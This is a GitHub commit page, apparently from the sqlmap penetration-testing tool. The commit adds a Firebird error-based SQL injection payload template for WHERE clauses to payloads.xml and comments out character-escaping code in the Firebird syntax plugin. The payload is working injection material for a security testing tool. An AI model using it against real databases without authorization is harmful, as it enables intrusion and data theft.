Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit bf09b8a

Browse files
stamparmstamparm
committed
added Firebird error based (WHERE) attack vector
1 parent 283a04e commit bf09b8a

2 files changed

Lines changed: 61 additions & 38 deletions

File tree

‎plugins/dbms/firebird/syntax.py‎

Lines changed: 41 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -15,59 +15,63 @@ class Syntax(GenericSyntax):
1515
def __init__(self):
1616
GenericSyntax.__init__(self)
1717

18+
# As ASCII_CHAR is only available from v2.1 we'll need to adapt this one to use the
19+
# commented-out part only if detected version>=2.1
20+
# Reference: wiki.firebirdsql.org/wiki/index.php?page=ASCII_CHAR
21+
1822
@staticmethod
1923
def unescape(expression, quote=True):
20-
if quote:
21-
while True:
22-
index = expression.find("'")
23-
if index == -1:
24-
break
24+
#if quote:
25+
#while True:
26+
#index = expression.find("'")
27+
#if index == -1:
28+
#break
2529

26-
firstIndex = index + 1
27-
index = expression[firstIndex:].find("'")
30+
#firstIndex = index + 1
31+
#index = expression[firstIndex:].find("'")
2832

29-
if index == -1:
30-
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
33+
#if index == -1:
34+
#raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
3135

32-
lastIndex = firstIndex + index
33-
old = "'%s'" % expression[firstIndex:lastIndex]
34-
unescaped = ""
36+
#lastIndex = firstIndex + index
37+
#old = "'%s'" % expression[firstIndex:lastIndex]
38+
#unescaped = ""
3539

36-
for i in range(firstIndex, lastIndex):
37-
unescaped += "ASCII_CHAR(%d)" % (ord(expression[i]))
38-
if i < lastIndex - 1:
39-
unescaped += "||"
40+
#for i in range(firstIndex, lastIndex):
41+
#unescaped += "ASCII_CHAR(%d)" % (ord(expression[i]))
42+
#if i < lastIndex - 1:
43+
#unescaped += "||"
4044

41-
expression = expression.replace(old, unescaped)
42-
else:
43-
unescaped = "".join("ASCII_CHAR(%d)||" % ord(c) for c in expression)
44-
if unescaped[-1] == "||":
45-
unescaped = unescaped[:-1]
45+
#expression = expression.replace(old, unescaped)
46+
#else:
47+
#unescaped = "".join("ASCII_CHAR(%d)||" % ord(c) for c in expression)
48+
#if unescaped[-1] == "||":
49+
#unescaped = unescaped[:-1]
4650

47-
expression = unescaped
51+
#expression = unescaped
4852

4953
return expression
5054

5155
@staticmethod
5256
def escape(expression):
53-
while True:
54-
index = expression.find("ASCII_CHAR(")
55-
if index == -1:
56-
break
57+
#while True:
58+
#index = expression.find("ASCII_CHAR(")
59+
#if index == -1:
60+
#break
5761

58-
firstIndex = index
59-
index = expression[firstIndex:].find(")")
62+
#firstIndex = index
63+
#index = expression[firstIndex:].find(")")
6064

61-
if index == -1:
62-
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
65+
#if index == -1:
66+
#raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
6367

64-
lastIndex = firstIndex + index + 1
65-
old = expression[firstIndex:lastIndex]
66-
oldUpper = old.upper()
67-
oldUpper = oldUpper.lstrip("ASCII_CHAR(").rstrip(")")
68-
oldUpper = oldUpper.split("||")
68+
#lastIndex = firstIndex + index + 1
69+
#old = expression[firstIndex:lastIndex]
70+
#oldUpper = old.upper()
71+
#oldUpper = oldUpper.lstrip("ASCII_CHAR(").rstrip(")")
72+
#oldUpper = oldUpper.split("||")
6973

70-
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
71-
expression = expression.replace(old, escaped).replace("'||'", "")
74+
#escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
75+
#expression = expression.replace(old, escaped).replace("'||'", "")
7276

7377
return expression

‎xml/payloads.xml‎

Lines changed: 20 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -704,9 +704,28 @@ Formats:
704704
<dbms>Oracle</dbms>
705705
</details>
706706
</test>
707+
708+
<test>
709+
<title>Firebird error-based - WHERE clause</title>
710+
<stype>2</stype>
711+
<level>1</level>
712+
<risk>0</risk>
713+
<clause>1</clause>
714+
<where>1</where>
715+
<epayload>AND [RANDNUM]=('[DELIMITER_START]'||%s||'[DELIMITER_STOP]')</epayload>
716+
<request>
717+
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
718+
</request>
719+
<response>
720+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
721+
</response>
722+
<details>
723+
<dbms>Firebird</dbms>
724+
</details>
725+
</test>
707726
<!--
708727
TODO: if possible, add payload for SQLite, Microsoft Access,
709-
Firebird and SAP MaxDB - no known techniques at this time
728+
and SAP MaxDB - no known techniques at this time
710729
-->
711730
<!-- End of error-based tests - WHERE clause -->
712731

0 commit comments

Comments
 (0)